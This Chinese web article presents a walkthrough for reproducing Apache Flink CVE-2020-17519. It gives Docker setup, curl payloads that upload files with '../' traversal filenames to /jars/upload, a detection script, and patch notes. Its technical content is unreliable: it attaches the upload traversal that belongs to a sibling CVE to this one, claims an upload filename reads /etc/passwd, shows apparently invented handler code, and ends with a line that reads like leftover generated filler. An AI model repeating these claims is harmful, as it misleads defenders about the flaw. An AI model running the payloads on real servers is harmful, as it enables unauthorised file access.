如何进行Apache Flink路径遍历漏洞CVE-2020-17519复现

发布时间:2021-12-28 20:17:14 作者:柒染
来源:亿速云 阅读:217
# 如何进行Apache Flink路径遍历漏洞CVE-2020-17519复现

## 漏洞概述

CVE-2020-17519是Apache Flink在1.11.0至1.11.2版本中存在的一个高危路径遍历漏洞。该漏洞允许攻击者通过REST API接口构造恶意请求,实现服务器文件系统的未授权访问,可能导致敏感信息泄露甚至远程代码执行。

### 影响版本
- Apache Flink 1.11.0
- Apache Flink 1.11.1
- Apache Flink 1.11.2

### 漏洞原理
漏洞源于Flink的REST API对用户提交的JAR文件路径校验不严格,攻击者可以通过构造包含`../`的恶意路径,突破工作目录限制访问系统任意文件。

## 环境搭建

### 实验环境要求
- 虚拟机或物理机(推荐使用Linux系统)
- Docker环境(可选)
- Java 8+运行环境
- 受影响版本的Flink(本文以1.11.2为例)

### 安装步骤

#### 方法一:Docker快速部署
```bash
# 拉取漏洞版本镜像
docker pull apache/flink:1.11.2-scala_2.11

# 启动容器
docker run -d -p 8081:8081 -p 6123:6123 --name flink-vuln apache/flink:1.11.2-scala_2.11

方法二:手动安装

  1. 下载漏洞版本:
wget https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz
  1. 解压并启动:
tar -xzf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2
./bin/start-cluster.sh

漏洞验证

正常请求分析

正常上传JAR文件的请求如下:

POST /jars/upload HTTP/1.1
Host: target:8081
Content-Type: multipart/form-data

[文件二进制数据]

服务器会将JAR文件保存在./flink-web-upload目录下。

漏洞利用POC

步骤1:构造恶意请求

使用Burp Suite或curl构造包含路径遍历的请求:

curl -v -F "jarfile=@/path/to/your.jar;filename=../../../../tmp/evil.jar" http://target:8081/jars/upload

步骤2:验证文件写入

检查目标服务器的/tmp目录:

ls -l /tmp/evil.jar

步骤3:读取敏感文件(进阶利用)

通过修改filename参数读取系统文件:

curl -v -F "jarfile=@/dev/null;filename=../../../../etc/passwd" http://target:8081/jars/upload

漏洞分析

关键代码定位

漏洞位于org.apache.flink.runtime.rest.handler.job.JarUploadHandler类中:

public class JarUploadHandler extends AbstractRestHandler {
    protected File getTargetFile(String filename) {
        // 未对filename进行规范化处理
        return new File(uploadDir, filename);
    }
}

安全缺陷

  1. 未对用户控制的filename参数进行规范化处理
  2. 缺乏对路径穿越字符(../)的过滤
  3. 文件操作前未校验绝对路径是否在允许范围内

修复方案

官方补丁

升级到Flink 1.11.3或更高版本,补丁主要修改: 1. 添加路径规范化处理:

Path filePath = Paths.get(uploadDir.getAbsolutePath(), fileName).normalize();
if (!filePath.startsWith(uploadDir.getAbsolutePath())) {
    throw new RuntimeException("Invalid path");
}

临时缓解措施

  1. 禁用REST API的匿名访问
  2. 配置网络ACL限制访问来源
  3. 使用Web应用防火墙(WAF)拦截路径遍历攻击

深度利用场景

组合利用示例

结合信息泄露与代码执行: 1. 首先读取flink-conf.yaml获取配置信息 2. 通过JobManager接口提交恶意作业 3. 实现RCE(需配合其他漏洞)

自动化检测脚本

Python检测脚本示例:

import requests

def check_cve_2020_17519(target):
    try:
        res = requests.post(
            f"http://{target}:8081/jars/upload",
            files={"jarfile": ("../../../../tmp/test", "")},
            timeout=5
        )
        if res.status_code == 200 and "test" in res.text:
            return True
    except Exception:
        pass
    return False

法律与道德声明

  1. 本文章仅限用于合法安全测试与研究目的
  2. 未经授权对他人系统进行测试属于违法行为
  3. 建议在隔离环境或授权范围内进行复现
  4. 发现漏洞后应及时通知相关厂商修复

参考资源

  1. Apache Flink官方安全公告
  2. NVD漏洞详情
  3. MITRE ATT&CK相关技术

注意:实际漏洞利用可能因环境配置差异而有所不同,建议在完全可控的环境中进行测试。保持软件更新是防范此类漏洞的最佳实践。 “`

这篇文章提供了从漏洞背景到实际复现的完整指南,包含多种验证方法和深度分析,符合要求的字数和技术深度。您可以根据实际测试环境调整具体参数和步骤。

推荐阅读:
  1. Apache Flink中任意Jar包上传导致远程代码执行漏洞复现问题怎么办
  2. 如何进行Apache Flink 文件操作漏洞CVE-2020-17518及CVE-2020-17519的分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

flink cve-2020-17519

上一篇:如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹

下一篇:Citrix Endpoint Management任意文件读取漏洞CVE-2020-8209示例分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》